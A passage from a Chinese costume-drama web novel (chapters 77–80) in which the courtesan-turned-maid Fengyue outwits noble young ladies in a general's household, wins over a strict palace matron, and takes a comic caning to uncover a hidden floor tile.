啥?三个人都是一顿,瞬间就不往前走了,纷纷上来围住她,一个个眼睛睁得圆圆的:“青楼?”
“是啊。”风月一本正经地点头:“奴家在青楼里做生意,被殷大皇子点了很多回台。大概是功夫不错,殿下很是喜欢,所以徐家少爷就赎了奴家,当个人情送给他了。”
深闺里的小姐,哪里听过这么没羞没臊的话,当下一个个就涨红了脸,吞吞吐吐了半晌才有人骂出声来:“你竟然是那种地方来的!”
“那种地方怎么了?”风月眨眼:“很多男人去啊,饶是外头衣冠楚楚的贵家公子,到了青楼也会露出禽兽的真面目,不是很有趣吗?”
她说得太理直气壮了,以至于三家小姐都找不到话来反驳!
现在当妓子的人,都这么理直气壮的?
喘了两口气,宋若词皱眉问:“你叫什么名字?”
“奴家风月。”
风月?皱了皱眉,宋若词冷哼:“还真是人如其名,一身风尘味儿。”
“过奖。”微微一笑,风月颔首行礼:“您也是人如其名,十分有诗词雅韵之气。”
被她噎得瞪眼,宋若词恼怒地道:“你别太得意了,等会就让你跟着荀嬷嬷去学规矩!”
“多谢。”风月点头。
看她这一脸无畏,孟长姜同情地摇头:“你定然不知道荀嬷嬷是什么人。”
“小心脱层皮!”冯怀梦跟着吓唬:“咱们这些个有身份的姑娘,都免不得做半年噩梦,对你,她可更不会仁慈!”
眨眨眼,风月看了看她们脸上那种恐吓的神色,后知后觉地惊慌了一下:“是吗?”
“哼,到时候你就知道了。”指了指前头走远了的易掌珠和殷戈止,宋若词道:“殷殿下可不会救你,瞧瞧,有掌珠在,他连你没跟上去都不知道!”
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第77章 捐个善款吧
风月很想说,就算没有易掌珠在,殷戈止这种后脑勺不长眼睛的人,也不会看见她没跟上去的。
但是,瞧着面前这三位活蹦乱跳张牙舞爪的姑娘,她莫名地觉得挺好玩的,也不想打扰了她们吓唬人的兴致,于是很是配合地瞪大眼,双手捂唇,瑟瑟发抖地道:“奴婢可以不去吗?”
“不可以!”宋若词表情凶狠地道:“等你们安顿好了,你立马就得去!”
眨眨眼,风月耷拉了眉毛,吓得眼里水汪汪的。
看着她这样子,三位大小姐很是满意,相互笑着使眼色,然后齐刷刷地在她面前转身,端庄地往前踩着碎步继续走。
前头的殷戈止勾了勾唇角。
“殷哥哥?”易掌珠高兴地道:“你也同意珠儿的做法?”
嗯?回过神,殷戈止有点茫然地看着她:“什么做法?”
小脸一垮,易掌珠道:“你没认真听吗?珠儿觉得夏日炎炎,外头的乞丐和贫民都没个薄衣裳穿,所以想筹钱做百十来件薄衣衫发给他们。”
“有你在,真是不阴城贫民之福。”殷戈止道:“春日送粮,夏日送衣,秋日送茶,冬日送炭,贫民的日子,倒也不比普通百姓差。”
莞尔一笑,易掌珠低头:“珠儿也不求什么好名声,只觉得做这些事情,自己开心。”
“可你没发现,不阴城的贫民越来越多了?”殷戈止问。
“发现了啊。”易掌珠皱眉:“就是这事让我颇为头疼,爹爹不理解我,让我别做这些事了,可难道就因为难民更多了,我就不能做善事了?”
深深地看她一眼,殷戈止点头:“能,但善而有度,才是正道。”
这是什么意思?易掌珠一愣,接着脸色就白了:“殷哥哥在责怪珠儿?”
“没有。”
这话不是责备是什么?说她善而无度不是正道?可她又没伤天害理,做让自己开心的事情而已,凭什么要受人指点!
有些气恼,易掌珠道:“殷哥哥不想伸以援手,珠儿不勉强,但你也不必这样说话,多寒人心!”
微微皱眉,殷戈止揉了揉眉心,一时竟然不知道该怎么跟她解释,干脆停了步子,回头看着后面:“风月。”
正在努力发抖的风月姑娘一听这声音就条件反射似的蹦去了他身边:“奴婢在!”
“若是你,会何以渡贫民?”
渡贫民?风月挑眉,伸手就指了指自己:“殿下,奴婢就是贫民,为什么还要去渡贫民?”
这睁着眼睛说瞎话的本事跟谁学的?啊!那么大个梦回楼,她贫哪儿的民!
深吸一口气,殷戈止道:“那假如你有钱,想让贫民过上好日子,会如何接济?”
“这个好说啊。”风月道:“梦回楼里差人呢,他们想吃饭,来当丫鬟下人或者挂牌都可以,再不行还可以去码头运货,那儿的脚夫跟奴家都挺熟,能给不少活儿干。”
瞪大眼看着她,易掌珠完全不能理解地道:“你所谓的帮助别人,就是让别人去给你干活儿?还让人家好端端的姑娘去挂牌?!”
“那不然呢?”风月笑道:“大家都是人,都有手有脚,我都能挂牌养活自己,凭什么他们就要吃白饭?如果直接给贫民救济,让他们吃饱穿暖,那谁还愿意好好干活儿养家糊口?都等着您来养不就好了?”
“你强词夺理!”易掌珠横眉道:“简直是闻所未闻见所未见,人家没钱吃不起饭是一回事,可好歹身子还干净,你倒是好,打着善心好事的旗帜,让人家姑娘跳火坑?”
“易小姐。”风月勾唇:“奴婢没有逼着她们跳,只是给个活下去的机会而已,至于她们选不选,不在奴婢担心的范围内。再者,还能顾念什么名节名声,不愿去青楼干活儿的,亦或是觉得累,不想去码头当脚夫的,都是还能活下去的人,觉得自己有选择的余地。这样的人,大概是不需要接济的。”
“你……”易掌珠当真是生气了:“你这种没做过善事的人,站在这里想一张嘴就指点江山?从你这些话就能知道你这人一丝同情怜悯之心都没有,还跟我争什么?!”
“善而有度,易小姐。”风月摇头:“不然就是伪善。”
殷戈止看向她,眼里光华流转,难得地有了点欣赏,就像看自家养大的小狮子,终于长得跟自己一个德行了一样。
易掌珠脸上一白,看看她,又看看殷戈止,气得好半天才吐出一句话来:“你们是一伙的!”
无辜地看着她,风月低头行礼:“易小姐过奖,比起殿下,奴婢实在差得远。”
冷笑一声,易掌珠道:“我看你还是早点去学规矩吧,在我将军府上,还敢跟主子顶嘴!”
“掌珠别急,她这会儿就要去见荀嬷嬷了。”旁边看得目瞪口呆的三个姑娘回过神来,纷纷道:“包袱让别人拿去放好,咱们带她去见嬷嬷!”
“走了走了,别碍在这里惹人烦。”
身子被推搡了几下,风月把包袱交了出去,看了殷戈止一眼,便很是乖顺地跟着她们走。
殷戈止没拦着,眼神漠然。
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> 看他这样子,易掌珠才算缓过气来,颇为恼恨地跺脚:“殷哥哥,你也觉得她的想法是对的?”
有前车之鉴,殷戈止闭嘴不再说话,转身就走。
“殷哥哥!”
什么是善什么是恶呢?殷戈止觉得跟易掌珠说不明白,他也从来不喜欢当什么善人。世间轮回自有定数,他没兴趣插手上天的安排,谁能活成什么样,就让他们自己决定好了。
他会欣赏和尊敬善人,但绝对不支持愚蠢的善良。
想要筹钱,还是去找太子吧。
风月被带着往后院的方向走,一路上三个姑娘都是沉默,也没说什么挤兑她的话,跟刚刚推搡着她走的样子完全不同。
有点好奇,她就问了一句:“易大小姐是不是经常找你们筹钱做善事啊?”
此话一出,三个人瞬间都成了苦瓜脸。宋若词瞪她一眼,道:“筹钱不筹钱关你什么事?掌珠做的是好事,家家户户都赞颂呢。”
“所以,被赞颂的是她,出钱的是你们?”风月咋舌:“这买卖不错。”
这层纸捅破了就有点难堪了,宋若词铁青了脸不说话,倒是旁边的冯怀梦小声道:“她做的是好事,谁也拦不住。”
或者说,谁也没好意思拒绝,毕竟易大将军的地位在这里,他的掌上明珠,谁敢得罪?
其实几家小姐心里也苦啊,自己的月钱全给易掌珠不说,还得被怂恿着去问家里捐善款。一次两次的也就罢了,年年都有,年年都来,换成谁也吃不消。可一旦开了头,谁也不好意思说不给了。
刚刚风月说那些话的时候,她们真的很希望她能把易掌珠给说服了。然而……终究是道高一尺魔高一丈。
唉,做善事是挺好的,可是被她绑着一直做,也真的很累。
同情地看了她们一眼,风月道:“想做善事,自己也可以做,何必每次跟在她后头,被人牵着走?”
自己做?三位姑娘齐刷刷地摇头,抛头露面的事情,只有易掌珠做得来,反正她不愁嫁,可她们不行。
“到地方了。”看了看前头的院子,宋若词等人停住了步子,都没敢继续走,只伸手给她指:“那扇门,你去敲开,就说是来学规矩的!”
瞧她们这跟到了鬼门关一样的神情,风月是当真好奇那荀嬷嬷了,当下也没犹豫,上前去就在门上扣了三声:“嬷嬷?”
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第78章 养老的将军府
院子里没半点动静,风月等了一会儿,却见那院门“吱呀”一声,缓缓地打开了。
穿着分外工整的嬷嬷板着一张脸站在门后看着她,眼睛往下一看,微微低头,算是问礼:“找老身何事?”
这张脸上已经满是皱纹,头发花白,可高高梳起的发髻上当真是一根头发丝儿都没乱,交领齐腰的灰褐色襦裙,瞧着就有股子刻板严谨的味道。
风月微笑,屈膝还礼:“听人说,奴婢要在您这儿学规矩,故来打扰。”
远处三家小姐已经躲了起来,偷偷摸摸地往这边看着,在看见荀嬷嬷出来的时候,三个人都忍不住一哆嗦。
“这老东西怎么还活得这么精神啊?”宋若词撇嘴:“都多大岁数了。”
“她活得精神,不正好可以好好折磨那青楼的姑娘嘛。”孟长姜摆手:“反正现在挨罚受训的又不是咱们。”
说得有道理,其余两个人点头,然后吩咐奴仆去搬三张椅子来,就坐在院子外头嗑瓜子。
易掌珠跟殷殿下在一起,定然就是不会理会她们的,她们也是闲得无聊过来看个热闹,就看看那如花似玉的姑娘会有个什么下场好了。
院子门打开,荀嬷嬷让了路,风月乖巧地走进去,顺带关上了门。
“你们还记得咱们上的第一堂课是什么吗?”同情地看着风月的背影,孟长姜问。
宋若词嗑着瓜子点头:“怎么能不记得呢?第一堂课是站姿,光站着不算,头上还得顶一碗水,滚烫的!”
冯怀梦叹息:“也是咱们三个命好,能顶着不掉,换人去,指不定碗掉下去就毁容了呢。”
说是这么说,荀嬷嬷给的碗却分明是下头有底座的,要不是站着睡着了,一般都掉不下来。宋若词撇嘴,顶着那关上的门道:“要是能进去看就好了。”
“你去吧。”孟长姜连连摆手:“咱们在这儿坐着就成了。”
被荀嬷嬷的眼神扫着,她们都觉得心惊肉跳,更别说去坐在里头了。
没个出息的!宋若词张口正要骂她们,却见那关上没一会儿的门,突然“吱呀”一声又开了。
荀嬷嬷走出来,喊了个家奴过去,吩咐道:“拿套府里的丫鬟衣裳来。”
“是。”
什么情况?还要先换衣裳再调教?三个姑娘很是好奇,伸长脖子看着,却见风月换了丫鬟的衣裳之后,直接跟着荀嬷嬷从院子里出来了。
这就完了?宋若词瞪眼,很是不敢置信,顾不得其他了,迎上去就问:“嬷嬷,调教好了?”
荀嬷嬷看见她,先双手交叠放在腰间朝她行礼,后头的风月以丝毫不差的姿势,同样朝她低了头。
“回小姐的话,这丫鬟规矩已经学得很好,不用老身再教。”直起身子,荀嬷嬷道:“站立坐行,言行举止,都甚为规范,堪当将军府丫鬟们的模范。”
啥玩意儿?宋若词听傻了,瞪眼看着风月:“她哪里就模范了?刚刚还跟易大小姐顶嘴!”
荀嬷嬷一愣,转头看向她。
风月低眉顺眼,声音轻柔地道:“不敢。”
这年头这般貌美还这般沉着踏实的姑娘可不多了,荀嬷嬷觉得怎么看怎么满意,尤其她这丝毫不差的礼仪动作,跟她如出一辙,让她想起了自己年轻的时候,在宫里,也是这般……唉,罢了。
眼神柔和,荀嬷嬷道:“主子要给奴婢委屈受,奴婢只能受着,没道理可说的,你明白吗?”
“奴婢明白。”乖巧地低头,风月道:“嬷嬷的教训,奴婢定当谨遵。”
说来也没教训她什么,刚一进院子,看她迈的那莲花小碎步,荀嬷嬷就知道这丫头是个懂规矩的,也不知道为什么要被送来。现在看着这宋小姐的态度,荀嬷嬷心里便有了数。
“那就去给大小姐回话吧。”
“是。”
荀嬷嬷领着风月走了,宋若词瞠目结舌地站在原地看着,从后头看过去,这两人连步伐大小和走路快慢都是一样的!上身端正,纹丝不动,莲步轻移,衣摆如铁。
冯怀梦和孟长姜跑了过来,看着那两人的背影,惊骇地说了一句:“她跟荀嬷嬷一样是个疯子吗!”
宋若词皱眉,看了一会儿,点头:“还真是。”
多少家小姐在这个嬷嬷手里生不如死啊,她倒是好,一进那院子就成了第二个荀嬷嬷,到底是怎么办到的?
有些不甘心,宋若词朝她们招手:“跟去瞧瞧。”
殷戈止坐在客院的主屋里,旁边的易掌珠已经板了快三炷香的脸了。
“还是不高兴?”殷戈止问。
易掌珠黑着脸摇头:“没有。”
她都说没有了,那他能说个什么?殷戈止抿唇,端起旁边的茶正抿了一口,却见外头有两抹影子端庄地飘进来。
不看还没什么,一看清那两人的脸,殷戈止没忍住,一口茶喷了出去,吓得易掌珠瞪眼,跟着他的目光往外看。
荀嬷嬷走得纹丝不动,要是不看脚,压根就像是鬼!这场景易掌珠其实已经习惯了,但可怕的是,今儿她旁边还飘了一个。
风月连脸上的表情和眼里的严肃都跟旁边的荀嬷嬷一模一样!捏着手,踮着脚尖,飘到他们前头,就跟着荀嬷嬷一起行礼:“见过大小姐,殿下。”
连弯腰的弧度都一样!
易掌珠震惊了,看看荀嬷嬷又看看风月,好半天才问:“这是……您女儿?”
荀嬷嬷摇头:“老身没这个福气,这丫鬟不知是谁送来的,说要学规矩,但老身觉得,她的规矩学得很好。”
这能不好吗!简直跟荀嬷嬷一个模子里刻出来的一样!易掌珠很是不能理解地看着风月问:“你在青楼,怎么会学过这些规矩?”
“回大小姐的话。”风月柔声道:“青楼多贵客,怠慢不得,故而规矩自然也严。”
后头三家姑娘跟着进来了,宋若词立马冲到易掌珠旁边,低头跟她好一阵嘀咕。
易掌珠皱眉,看了风月一眼,缓和了神色道:“既然规矩都会了,那就分活儿下去做吧,将军府不养闲人。”
“正好是换季该打扫的时候。”风月微笑:“奴婢可以将府上
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的灰尘都扫了。”
殷戈止抿唇,看了易掌珠一眼:“我只带了她一个丫鬟来。”
言下之意,你把人弄去干活了,谁伺候我?
谁伺候你都比她伺候你好啊!易掌珠咬牙,转头就道:“府上什么都不多,就是丫鬟多,待会儿珠儿另外给殷哥哥找个来伺候的。太子哥哥说风月姑娘需要学规矩,就让荀嬷嬷看着她,把府里的灰尘洒扫一番吧。”
殷戈止看向风月,后者偷偷眨了眨眼睛,然后就屈膝应下:“是。”
垂眸没再拦着,殷戈止起身就道:“今日天气不错,既然来了贵府,珠儿不妨带路,四处瞧瞧如何?”
难得他想跟自己散步,易掌珠一时间也没想起自家父亲临走前的吩咐,高兴地就应下了。
风月轻轻摇头。
有这样的女儿,易国如的报应还真是不会来得太晚。
荀嬷嬷领着她往外走,走到没人的地方,才轻轻开口问:“得罪人了?”
风月颔首:“不巧,得罪了大小姐。”
“那你还敢来这将军府?”
惆怅地叹了口气,风月道:“不是奴婢要来,是不得不来。”
殷戈止那杀千刀的,怎么可能放她一个人去逍遥呢?
然而不知道其中关系的荀嬷嬷听着这话,眼里瞬间就有了感慨之色:“这倒是,同是天涯沦落人,怨不得我看你总觉得亲切。”
嗯?风月一时间没听懂,同是天涯沦落人是什么意思?
不瞧着前头的路还很长,她干脆就跟这嬷嬷闲聊:“看嬷嬷气度不凡,不像是府院里能养出来的,倒像是宫里的教**嬷嬷。”
微微一愣,荀嬷嬷看了她一眼:“你倒是好眼力。”
还真是宫里出来的啊?风月眨眼,问了一句:“按照规矩,宫里的嬷嬷出宫,不是自由了吗?您何必还在将军府为奴?”
“你不是也说了吗?”荀嬷嬷叹息:“不是我要来,是不得不来。”
啥?风月有点傻眼,但很快反应了过来,垂着眼睛笑道:“嬷嬷说笑,您瞧着也是伺候过不少大主子的人,将军府怎么会为难于您?”
太久没人能聊天了,又难得来个跟易大小姐和各家小姐不对盘的好姑娘,荀嬷嬷笑了笑,很是慈祥地道:“就是因为伺候的主子太大了,所以走不了了。”
有故事啊?风月眨眼,也不插嘴,就期盼地看着她。
递了扫帚给她,荀嬷嬷带着她一边走一边道:“老身从前在宫里,是伺候易贵妃的,等到要出宫的时候,将军直接将老身接到了将军府。易大将军为人谨慎,也很疼爱他的妹妹,所以咱们这些伺候过贵妃的人,为了防止舌头长出卖主子,都是在将军府养老。”
这种滴水不漏的做事风格,的确是易国如惯常所为。也无怪这么多年来,从来没有人抓着他什么把柄,就算有人抓着,那在说出来之前,也多半是**。
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第79章 客房
当将军就该当成易国如这样啊!老奸巨猾机关算尽的多好啊,不像关老头子,死脑筋要忠心不二,说什么顶天立地无愧于心,最后还不是死在皇家的刀口下头?有啥意思啊,不如祸害遗千年呢。
唏嘘一声,她问:“嬷嬷您想出去吗?”
荀嬷嬷轻笑:“我都已经五十三岁了,外头等着我的人,大概也早就同别人过上了好日子,还出去做什么?”
说是这么说,语气里却分明是有怨的,好不容易盼着出宫能与良人长相厮守,却被人关在这华丽的牢笼里,半世孤独。
风月道:“好歹出去看看,也比死在这里,连个碑文都不会有的好。”
单纯的丫头,这地方,哪里是想出去就能出去的?荀嬷嬷摇头,爱怜地摸了摸她的发髻:“你要是能出去呀,就帮嬷嬷去城南的荀家村看看,看一个叫阿虎的人,已经有几个孩子了。”
这语气听得人鼻子泛酸,风月有点怔愣,随她一起扫着过道上的灰尘,小声问了一句:“宫里当真是有什么见不得人的东西,以至于大将军要这样为难人吗?”
见不得人的东西?荀嬷嬷抿唇,看了一眼四周,轻声答她:“别的老身不知,但这易家,见不得人的东西就多了去了。”
“嬷嬷别说。”连忙捂了耳朵,风月道:“作为下人,知道越多死得越快,奴婢才不想死呢!”
微微一愣,荀嬷嬷失笑,伸着食指点了点她的眉心:“你这机灵鬼,可惜了将军府没个少爷,不然你定然能飞上枝头。”
“飞上枝头的事情奴婢就不想了。”放下手,风月认真地看着她道:“但奴婢会努力出府,替嬷嬷去看看阿虎的。”
眼眶微微泛红,荀嬷嬷张了张嘴,似乎是不知道说什么好,只又摸了摸她的脑袋,转身陪她扫地。
“老身在这院子里太久了,除了来学规矩的人,再也没人跟老身说话。上天这是看老身太苦了,所以送你这么个贴心的丫头来。”
“嬷嬷过奖。”慢慢扫着地,风月侧头看了一眼右边。
东院的守卫依旧森严,或者说是更森严了。
“嬷嬷,那里头要扫吗?”她问了一声。
荀嬷嬷抬头,看了看东院,道:“那儿只有得了大小姐和将军允许,才能进去。”
“如此,那奴婢就不扫了。”风月笑道:“嬷嬷先去休息,奴婢把这儿的灰尘弄干净,就去复命。”
“好。”荀嬷嬷点头:“我在院子里做些麻团,你等会饿了,就来吃。”
风月怔愣,喉咙有点发紧。
她是带着目的来的,没想到竟然被人疼爱了一把。这种感觉还真是……意外地窝心。
“好,奴婢等会就去。”
荀嬷嬷转身走了,风月看了她的背影一会儿,回过头,拿着扫帚就将府里巡视了一遍。
她能去的地方,基本下人也打扫过了,没什么灰尘。
微微一笑,风月拉着个家奴就问:“大小姐现在在何处?”
易掌珠正和殷戈止一起坐在凉亭里,三家姑娘因为殷殿下嫌弃,被禁止靠近,只能坐在远处的水廊上叹气。
叹着叹着呢,就看见风月过来了。宋若词来了精神,立马过去把人拦住:“不是说打扫将军府吗?又过来做什么?”
风月自信地笑道:“扫完了。”
“这么快?骗谁呢!”冯怀梦从宋若词后头伸个脑袋出来道:“你肯定没用心扫。”
轻哼一声,风月摇头:“奴婢将这将军府里里外外都扫干净了,任何地方三位能找出一两重的灰尘来,奴婢可以受家法!”
家法?三个姑娘的眼睛“蹭”地一下就亮了!将军府的家法可不是开玩笑的,军法的板子直直地往身上打啊,男人都受不住,更何况是女人?
看一眼那边的易掌珠,宋若词掂量了一下,立马跑过去拉了她小声禀告。
“一两灰尘?”易掌珠神色微动,看了看宋若词,转头对殷戈止道:“殿下家的丫鬟可真是大言不惭。”
“怎么?”找不到东西的殷戈止心情不太好,语气都分外沉重。
易掌珠连忙道:“她刚才跟这几位小姐打赌呢,说是要能在将军府里找出个地方有一两重的灰尘,她就甘愿受将军府的家法,殿下,这话,她能说么?”
看了远处那穿着人家家里的丫鬟衣裳,站得笔直的人,殷戈止动了动眉梢,而后道:“她自己说的大话,有什么后果,也都由她自己承担。”
要的就是他这句话!易掌珠笑了,起身道:“那好,咱们去找找吧。”
这院子里有个地方,风月姑娘是绝对不可能去打扫了的,而那儿的灰尘,也绝对不止一两重。
易掌珠走得兴奋,连宋若词都看出来她是胸有成竹。
那青楼的丫头死定了!
殷戈止起身,慢悠悠地跟在后头走,看着易掌珠路过风月身边,笑着说了句什么,也看着风月自信地屈膝颔首,然后放慢步子跟在这群小姐后头走。
那小脑袋瓜里,又在打什么主意?
眯了眯眼,他走快几步,到她旁边低声问:“在哪儿?”
眼里满是惆怅,这丫头可怜巴巴地看了他一眼,嘀咕道:“跟着她们走就对了,易大小姐找的地方,就是藏东西的地方。不过殿下,要是奴婢真的挨打了,您能不能放奴婢一段时间的假啊?”
微微皱眉,殷戈止道:“你找打?”
“不打不行啊。”指了指前头几个满脸兴奋跑得贼快的姑娘,风月耸肩:“您觉得奴家不挨打,她们能这样想也不想地就带路吗?”
心里一沉,殷戈止狠狠掐了她一把,瞧着旁边的假山,径直将人拉到山石后头,飞快地扯开了自己的衣襟。
“喂。”风月吓傻了:“这都什么时候了,您想干什么?!”
“闭嘴。”冷漠地看她一眼,殷戈止道:“把袴脱了。”
风月瞪大了眼。
前头的易掌珠拉着几个人嘀咕了好一阵子,说得个个都兴奋不已,走路的步子都快了不少。孟长姜不经意地回了一下头,喊了一声:“殿下,走快些啊!”
方才
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分明跟在她们后头的,怎么一转眼落了那么远?易掌珠也回头,站着等着。
殷戈止面无表情地跟上来,后头的风月低着头,脸蛋红扑扑的。
“怎么了这是?”挑了挑眉,宋若词道:“可是知道要输了,所以心虚?”
“一言既出,就算输了也没什么好说的。”清了清嗓子,风月道:“但是各位打算去哪里找?东院不是不让外人进吗?”
“无妨。”易掌珠摆手,看着她笑道:“我说可以进,你们就可以进。再说了,也不去书房,就在东院的客房里看看。”
风月脸上陡然出现惊慌的神色,伸手拉了拉殷戈止,又指了指易掌珠,显得分外着急。
见状,易掌珠半点也不耽误,拉起殷戈止就冲进了东院,一把将护卫都扫开,径直推开了客房的门。
灰尘铺天盖地而来,呛得几人直咳嗽。易大小姐却特别高兴,一边咳嗽一边指着里头道:“这里的灰尘,你扫了吗?”
殷戈止和风月都站得远远的,一个脸上微微惊讶,一个眼里惶恐不已。
“这……奴婢进不来,没有打扫,也是奴婢的过失吗?”风月委屈地道:“易小姐要是说这儿奴婢能进来,奴婢一定扫得干干净净的!”
“现在说这些不是晚了?”宋若词哼笑:“是你自己说的‘将军府里里外外’,这东院,难不成不是将军府的?”
“奴婢……”
“说好的愿赌服输。”孟长姜道:“你可不能抵赖!”
“掌珠。”殷戈止开口了,还没说下去呢,易掌珠就沉了脸:“殷哥哥要替她求情?”
“不是。”他皱眉:“在下只是觉得这屋子脏得过分,先让风月打扫了再让她受家法吧,不然这么脏的地方,谁来清扫?”
有道理,缓和了脸色,易掌珠想了想:“不过父亲说过,这屋子不用打扫,就这么放着就成。”
殷戈止眯眼,满脸的嫌弃。
易掌珠瞧着,想了想,道:“不过打扫一下也是好事,反正没什么贵重的东西,平时也没人住的,风月,你自己打的赌,可要愿赌服输啊。”
可怜巴巴地低头,风月道:“奴婢认了,只是这屋子这么脏……”
“殷哥哥说的要你扫,你不想扫?”
“……不,奴婢扫。”委屈万分地看了殷戈止一眼,风月的眼泪啪嗒啪嗒地往下掉,看起来可怜极了,也看得几位小姐舒坦极了。
总算能有个机会治治她了!
殷戈止头也不回地往外走:“太脏了,在下先走一步。”
“是。”宋若词应着,推了推易掌珠:“大小姐也去歇着啊,这儿有咱们监工,保证她不敢偷懒!”
“好。”易掌珠点头,连忙追着殷戈止出去。
接过家奴递来的帕子和扫帚,风月扯了纱巾遮住口鼻,深吸一口气,轻轻地跨进那满是灰尘的客房。
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第80章 护心麟
宋若词等人是不进去的,掩了口鼻站在庭院里瞧着,幸灾乐祸地道:“早知如此,何必当初啊?这下可好了,要受家法了!本来还以为殷殿下能救自个儿,谁知道殿下不但不救,反而让人扫客房,哎呀,真是可怜。”
阴阳怪气的声音,绕着十八个弯儿飘过来,听得风月有些好笑。
冯怀梦低声道:“将军府上的家法真是不轻啊,她要是**了怎么办?”
“那谁管呢?她自己愿赌服输,用家法的也不是咱们。”轻哼一声,宋若词笑盈盈地让人又搬了凳子来,跟其余两人继续坐着嗑瓜子。
这客房里有很多杂乱的脚印,应该是易大将军或者其他无意间闯入的人踩的。但放眼看去,花架和床上都蒙着灰尘,一点手印都没有。
要是易国如当真藏了东西在这里,那肯定会留下印子才对。
拧了帕子,风月开始一点点地清扫,按照寻常机关的窍门,将这屋子里所有的东西都弄开看了看。
没有。
灰头土脸地蹲在屋子中央,有那么一瞬间风月怀疑是自己多想了,找错了方向。不然会藏在哪里呢?这屋子简直一目了然……
等等。
踩了踩脚下,风月眯眼。
唯一有印子的地方,可不就是这地板吗?
提了桶水进来,风月慢慢往地上倒,方石铺的地面,渗水不是很严重。但倒完一桶水,静下来仔细看的时候,风月笑了,飞快地就找到花架下头那块渗水极快的地砖,正想伸手去敲——
“打扫干净了就出来。”院子里的护卫皱眉道:“别乱碰里头的东西。”
惊得一个哆嗦,风月立马收手,努力擦着地面。
“行了,这都半个时辰了,你再拖也得受家法,差不多得了。”宋若词在外头喊:“出来吧。”
顺手取了耳环放在那块地砖上,风月起身,擦了擦脸上的灰尘,提了水桶就往外走。
护卫谨慎地关上门,顺便将她押去了主院。
殷戈止若无其事地在喝茶,易掌珠一脸唏嘘地看着她进来,有些怜悯地道:“都已经这么惨了?那家法也不用太重,二十下吧。”
抿茶的唇一顿,又若无其事地饮一口这碧螺春,殷戈止垂着眼,仿佛下头那人跟他完全没有关系。
易掌珠觉得,虽然有时候很恼他的冷漠无情,但当这种冷漠用在别人身上的时候,她当真是很高兴。
“奴婢谢易小姐恩典。”下头的人行了礼,老老实实地就趴在了长凳上。
刚刚起哄得凶的三个姑娘坐在旁边看热闹,宋若词是看得挺欢,另外两个却没吭声。
要说她们跟这姑娘有什么仇么,那也没有,压根不认识。抵触也是因为易掌珠抵触她,当真要把人打一顿……也实在过了。只是,都这个节骨眼上了,她们也说不得什么。
于是还是选择沉默。
提着廷杖的人进来,搓了搓手,等易掌珠点头之后,便抡起那廷杖,狠命地往风月屁股上一打!
“啊呀!!!”风月大叫,声音穿透九霄,吓得殷戈止手里的茶差点没端稳,黑着脸瞪她一眼。
没接住他的眼神,风月脸上充满了痛苦、后悔、不甘和凄凉,随着那廷杖一下下地打,“啊呀”之声叫得是跌宕起伏,曲调由低到高,在最高点陡然虚弱,接着就是一阵抽泣,感情丰富,表情到位。
执杖的家奴嘴角抽了抽,手顿了顿,抬头看了易掌珠一眼,欲言又止,又看了看殷戈止,在对上后者冷冽的眼神之后,啥也不想说了,啪啪地就继续打!
冯怀梦听得不忍心极了,哆哆嗦嗦地道:“家里还有事,大小姐,我跟长姜就先回去了。”
“这么着急?”看她们一眼,易掌珠道:“那若词呢?”
宋若词撇嘴,很是不满地道:“我家里正闲着呢,要走她们先走就是了。”
冯怀梦抿唇,拉着孟长姜行了礼就一溜烟地跑了,跑出去老远还听见风月凄惨的叫声。
“真是要**了。”孟长姜唏嘘:“太用力了吧?”
冯怀梦摇头,正想说什么呢,就听得个阴森森的声音问:“谁被打了?”
吓得往旁边一跳,孟长姜抱着冯怀梦的胳膊回头,就见荀嬷嬷一脸严肃地看着她们,又问了一遍:“谁被打了?”
“……是风月犯事了。”立马站得端端正正的,孟长姜低头道:“她跟咱们打赌输了,大小姐正在给她用家法,二十个板子。”
眉头皱了皱,荀嬷嬷叹息,朝她们行礼,然后便往主屋的方向走。
“不——”最后一个板子落下来,风月朝前伸手,看着殷戈止的方向,眼里满是委屈,最终涣散于无,手也猛地垂了下去。
易掌珠捂着心口看着,心想自己是不是太过分了?怎么把人打成了这样?
结果一扭头,就见殷戈止满脸冷漠,眼里甚至还有些嘲弄的意味。
微微一愣,易掌珠看不懂了,殷哥哥不是总爱去找这姑娘吗?为什么人家被打这么惨,他一点都不担心的?
“抬下去吧。”看人昏迷了,点钗在背后吩咐家奴:“送去下人房那边,收拾个床给她。”
“大小姐。”门外有人温和地道:“既然已经用完了家法,那人还是我带回去继续调教吧,免得又犯了事。”
是荀嬷嬷的声音,易
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掌珠挑眉,看了看殷戈止,笑问:“殷哥哥可舍得?”
“随你。”打了个呵欠,殷戈止道:“只是不用派别的丫鬟给我了,不习惯。”
“好。”笑眯眯地应了,易掌珠挥手就让荀嬷嬷把人带走。
“殿下!”刚刚还昏迷的人,在要被带走的一瞬间痛苦地睁开眼,哀哀地问了一句:“殿下怎么如此狠心?当初赠我耳中明月珰,如今赐我家法二十杖!您不是说好会保护我的吗?”
殷戈止挑眉,斜了她一眼,目光在她空了的一只耳垂上顿了顿,而后道:“去歇着吧。”
多冷漠啊,多无情啊,多让人喜欢啊!易掌珠觉得,先前这人对自己的伤害都可以一笔勾销了,他不是不喜欢自己了,虽然对自己冷淡,可对别人更狠啊。两厢一对比,还是对自己更好些。
人被带下去了,殷戈止看了看天色,道:“时候不早了,等会在下会去一趟练兵场,之后回来歇息,你只管做自己的事情,不必招待。”
“好。”易掌珠道:“我正好抽空去找太子哥哥说夏衣的事情。”
殷戈止点头:“太子殿下最近差事办得好,得了陛下不少赏赐,你同他说,他那般善良的人,一定鼎力相助,到时候别说夏衣,冬衣都有了也不一定。”
眼睛一亮,易掌珠点头,立马就回屋去梳妆准备出门。
风月被扶着回了荀嬷嬷的院子,刚一关上门,就睁开了眼。
“怎么还是撞大小姐手里去了?”看着她,荀嬷嬷叹息:“还以为你那么懂规矩,能躲过一劫。”
咧嘴朝她笑了笑,风月道:“我没大碍。”
“还没大碍?”皱眉看了看她,荀嬷嬷道:“将军府上的家法当真不轻。”
“是啊,挺重的,所以奴婢提前垫了点东西。”
站直身子,风月眨眼,拉着荀嬷嬷进了屋子,在她惊愕的目光里,解开穿着的下袴,掏出一块沉甸甸黑漆漆的护甲来。
“这……”荀嬷嬷傻眼了:“这是什么?”
“护心麟,刀剑不穿,可护心脏要害,是武人经常带在身上防身用的。”风月笑道:“奴婢早知今日有难,所以有所准备。”
这谎撒得很自然,至少荀嬷嬷被骗过去了,眼里露出赞赏的神色。
轻轻松了口气,风月低头看着这东西。
两个巴掌张开那么大的一块儿雕龙护甲,是殷戈止平时戴在胸口的,今日情急,直接拉她到假山后头,把这东西拆下来给她垫屁股了。
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第81章 人面兽心的混蛋
